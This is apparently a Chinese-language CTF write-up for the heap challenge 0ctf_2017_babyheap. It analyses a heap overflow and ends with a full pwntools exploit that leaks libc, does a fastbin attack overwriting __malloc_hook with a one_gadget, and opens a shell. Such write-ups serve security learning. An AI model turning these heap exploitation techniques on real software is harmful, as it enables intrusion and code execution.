0ctf_2017_babyheap

0ctf_2017_babyheap

首先检查一下保护

0ctf_2017_babyheap

IDA 分析好的代码如下

0ctf_2017_babyheap

首先申请了一块内存地址用来存放结构体数组,地址随机。

0ctf_2017_babyheap

堆题常见的几个功能。我们来看看add

0ctf_2017_babyheap

这里申请内存用的是calloc

struct block{
    unsigned int inuse;
    unsigned int size;
    char * chunkptr;
}

0ctf_2017_babyheap

这里没有检查size,size可以为任意值。造成堆溢出。

0ctf_2017_babyheap

delete函数free后指针清零

0ctf_2017_babyheap

show 就是打印出chunk_ptr的内容。

好了,至此程序的大致执行流程我们已经搞清楚了。因为存在堆溢出,并且使用的是calloc,我们可以考虑chunk overlapping,这样我们只要吧chunk2给释放掉就可以通过show(chunk1)来打印出unsorted bin 的地址了。不过前提是chunk2要大于global_max_fast。

0ctf_2017_babyheap

exp

#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./0ctf_2017_babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def add(size):
    p.sendlineafter('Command: ','1')
    p.sendlineafter('Size: ',str(size))

def edit(idx,content):
    p.sendlineafter('Command: ','2')
    p.sendlineafter('Index: ',str(idx))
    p.sendlineafter('Size: ',str(len(content)))
    p.sendlineafter('Content: ',content)

def delete(idx):
    p.sendlineafter('Command: ','3')
    p.sendlineafter('Index: ',str(idx))

def show(idx):
    p.sendlineafter('Command: ','4')
    p.sendlineafter('Index: ',str(idx))

#---------------这3个一组,是为了泄漏libc地址----------#
add(0x10)#0
add(0x10)#1
add(0x80)#2
#---------------这3个一组,是为了fastbin attack 覆写malloc hook 为one_gadget ----------#
add(0x30)#3
add(0x68)#4
add(0x10)#5

#------------------泄漏libc地址------------------------------------#
edit(0,p64(0)*3+p64(0xb1))#通过edit(0)来改变chunk1的大小,使其包裹chunk2
delete(1)
add(0xa0)#1   delete再add回来使为了改变结构体中的size值,因为show的长度使根据这个值来定的
edit(1,p64(0)*3+p64(0x91))  #因为使通过calloc申请回chunk1的所以chunk2被清零,我们要恢复chunk2
delete(2)  #使的chunk2进入unsorted bin
show(1)     #泄漏chunk2的fd
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) -0x3c4b78
print 'libc_base: '+hex(libc_base)
malloc_hook =  libc_base + libc.symbols['__malloc_hook']

#-----------------fastbin attack-------------------------------------#
delete(4)#释放使其进入fastbin
edit(3,p64(0)*7+p64(0x71)+p64(malloc_hook-0x23)) #修改其fd指针
add(0x68)#2    #fasbin attack
add(0x68)#4
one = [0xf1147,0xf02a4,0x4526a,0x45216]
one_gadget = libc_base + one[2]
edit(4,'\x00'*0x13+p64(one_gadget)) #覆盖malloc_hook为one_gadget

add(0x10)
#gdb.attach(p)

p.interactive()
上一篇:babyheap_0ctf_2017 详解


下一篇:微信小程序保存海报的方法